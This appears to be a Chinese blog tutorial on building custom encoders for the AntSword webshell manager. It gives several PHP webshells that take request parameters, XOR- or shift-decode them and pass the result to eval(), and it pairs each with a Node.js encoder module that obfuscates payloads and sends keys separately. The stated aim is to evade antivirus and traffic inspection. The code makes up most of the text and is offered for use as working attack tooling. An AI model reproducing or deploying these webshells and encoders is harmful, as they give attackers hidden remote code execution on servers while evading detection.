蚁剑编码器——高级

蚁剑编码器------高级

其实也没啥高级不高级的

基于免杀php,把加密,解密分为两层,再把参数作适当的传递即可

先说语法

拿免杀篇最后两个马做演示

第一个

c 复制代码
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
c 复制代码
data['_']为原来的数据
data[pwd]是想要传入的内容,也就是连接参数接受的内容
data['key']以key为参数传入的内容
delete data['_']; 删除原始的内容,不需要传输这个
c 复制代码
<?php
function xorEncryptDecrypt($data, $key) {
    $keyLength = strlen($key);
    $result = '';

    for ($i = 0; $i < strlen($data); $i++) {
        $keyChar = $key[$i % $keyLength];
        $result .= chr(ord($data[$i]) ^ ord($keyChar));
    }

    return $result;
}


$a=$_REQUEST["a"];
$key=123456789;
$encryptedData = xorEncryptDecrypt($a, $key);
$a = xorEncryptDecrypt($encryptedData, $key);
@eval($a);

加密解密分开写

加密

c 复制代码
<?php
function xorEncryptDecrypt($data, $key) {
    $keyLength = strlen($key);
    $result = '';

    for ($i = 0; $i < strlen($data); $i++) {
        $keyChar = $key[$i % $keyLength];
        $result .= chr(ord($data[$i]) ^ ord($keyChar));
    }

    return $result;
}
$key=123456789;
$encryptedData = xorEncryptDecrypt($a, $key);
$a = xorEncryptDecrypt($encryptedData, $key);
>

解密

c 复制代码
<?php
function xorEncryptDecrypt($data, $key) {
    $keyLength = strlen($key);
    $result = '';
    for ($i = 0; $i < strlen($data); $i++) {
        $keyChar = $key[$i % $keyLength];
        $result .= chr(ord($data[$i]) ^ ord($keyChar));
    }
    return $result;
}
$a=$_REQUEST["a"];
$key=$_REQUEST["b"];
if($key){
    $a = base64_decode(xorEncryptDecrypt($a, $key));
    @eval($a);
}

这里需要传输的是两个参数

c 复制代码
$a=$_REQUEST["a"];
$key=$_REQUEST["b"];

蚁剑是有修改body传参功能的,所以这里有两个方法,第一种,写死$key,蚁剑使用$key编码后,使用body传递值,第二种,随机key,直接在编码器中写好
注意:编码器使用的是node.js写法,写法要修改一下

固定key异或加密

c 复制代码
function xorEncryptDecrypt(data, key) {  
    let keyStr = key.toString();  
    let keyLength = keyStr.length;  
    let result = '';   
    for (let i = 0; i < data.length; i++) {   
        let keyCharCode = keyStr.charCodeAt(i % keyLength);  
        let charCode = data.charCodeAt(i);  
        let xorCharCode = charCode ^ keyCharCode;  
        result += String.fromCharCode(xorCharCode);  
    }  
    return result;  
}  
let plaintext = "";  
let key = "123456789";
let ciphertext = xorEncryptDecrypt(plaintext, key);  

参数替换为蚁剑特有的参数

c 复制代码
'use strict';

module.exports = (pwd, data, ext={}) => {
function xorEncryptDecrypt(data, key) {  
    let keyStr = key.toString();  
    let keyLength = keyStr.length;  
    let result = '';   
    for (let i = 0; i < data.length; i++) {   
        let keyCharCode = keyStr.charCodeAt(i % keyLength);  
        let charCode = data.charCodeAt(i);  
        let xorCharCode = charCode ^ keyCharCode;  
        result += String.fromCharCode(xorCharCode);  
    }  
    return result;  
} 
let key = 123456789; 
data['_']=Buffer.from(data['_']).toString('base64');
data[pwd]=xorEncryptDecrypt(data['_'],key);
delete data['_'];
return data;
}

但是这种方法需要手动在body参数里面传入参数b和内容

蚁剑编码器里给予了一种最为简单传递参数的方式,data'_',在这个例子中只需要多加一行

data'b'=key;即可

看一下数据包

第二种

c 复制代码
<?php
function simpleTransform($str, $offset = 1) {
    $transformed = '';
    for ($i = 0; $i < strlen($str); $i++) {
        $transformed .= chr((ord($str[$i]) + $offset) % 256);
    }
    return $transformed;
}

$original = $_REQUEST["a"];
$transformed = simpleTransform($original, 3);
function reverseTransform($str, $offset = 1) {
    $reversed = '';
    for ($i = 0; $i < strlen($str); $i++) {
        $reversed .= chr((ord($str[$i]) - $offset + 256) % 256);
    }
    return $reversed;
}

$reversed = reverseTransform($transformed, 3);
echo eval($reversed);

一样的步骤,加密解密分离

c 复制代码
<?php
$original = $_REQUEST["a"];
$key = $_REQUEST["key"];
function reverseTransform($str, $offset = 1) {
    $reversed = '';
    for ($i = 0; $i < strlen($str); $i++) {
        $reversed .= chr((ord($str[$i]) - $offset + 256) % 256);
    }
    return $reversed;
}
$reversed = reverseTransform($transformed, $key);
@eval($reversed);

加密

c 复制代码
module.exports = (pwd, data, ext={}) => {
function simpleTransform(str, offset = 1) {  
    let transformed = '';  
    for (let i = 0; i < str.length; i++) {  
        let code = str.charCodeAt(i);  
        let newCode = (code + offset) % 256;  
        transformed += String.fromCharCode(newCode);  
    }  
    return transformed;  
}  
let random = Math.floor(Math.random() * 6) + 5;
data['_']=Buffer.from(data['_']).toString('base64');
data['key']=random;
data[pwd]=simpleTransform(data['_'],random);
delete data['_'];
return data;
}

这里只是以两个简单的例子作为演示,仅以普通的$_REQUEST来获取内容,可以通过sessions,cookie等方式进行传输,也可以通过其他的方式进行加密

相关推荐
alexhilton1 小时前
MVI模式的完整历史、误解和现代Android范式
android·kotlin·android jetpack
心中有国也有家7 小时前
AtomGit Flutter 鸿蒙客户端:Canvas 绘制进阶-路径、渐变与混合模式
android·javascript·flutter·华为·harmonyos
hunterandroid8 小时前
WorkManager 可靠性实战:唯一任务、重试与幂等设计
android·前端
程序员老刘8 小时前
Android 17的10个AI功能,国内用户真正能用的有几个?
android·flutter·ai编程
花开彼岸天~9 小时前
鸿蒙应用开发实战【94】— 实战多卡号场景管理最佳实践
android·华为·harmonyos·鸿蒙系统
用户41659673693559 小时前
视频源文件音频轨异常分析记录
android
我命由我1234510 小时前
集成 mupdf-android 的示例做为模块使用报错,程序包android.support.v4.view不存在
android·java·java-ee·android studio·android jetpack·android-studio·android runtime
雨白12 小时前
嵌套 ScrollView 滑动冲突实战:实现内部优先滚动
android
阿pin12 小时前
Android随笔-IntentService详解(了解)
android·intentservice
海天鹰13 小时前
content://com.android.externalstorage.documents/document/primary%3A
android